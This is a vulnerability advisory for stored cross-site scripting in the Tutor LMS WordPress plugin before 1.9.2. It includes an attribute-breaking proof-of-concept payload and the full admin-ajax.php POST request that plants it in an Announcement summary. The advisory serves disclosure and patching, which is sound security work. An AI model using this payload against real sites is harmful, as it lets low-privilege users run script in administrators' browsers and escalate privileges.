Tutor LMS < 1.9.2 - Authenticated Stored Cross-Site Scripting (XSS)

2021-06-2800:00:00

Phu Tran

171

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The plugin did not escape the Summary field of Announcements (when outputting it in an attribute), which can be created by users as low as Tutor Instructor. This lead to a Stored Cross-Site Scripting issue, which is triggered when viewing the Announcements list, and could result in privilege escalation when viewed by an admin.

As a Tutor Instructor, Create an Announcement and put the following payload in the Summary field: " style="animation-name:rotation" onanimationstart="alert(/XSS/)//

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 341
Connection: close
Cookie: [Tutor Instructor+]

_tutor_nonce=52e764441f&tutor_announcement_course=973&tutor_announcement_title=Test+Inst+XSS&tutor_announcement_summary=%22+style%3D%22animation-name%3Arotation%22+onanimationstart%3D%22alert(%2FXSS%2F)%2F%2F&action=tutor_announcement_create&action_type=create

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Related for WPEX-ID:9EF14CF1-1E04-4125-A296-9AA5388612F9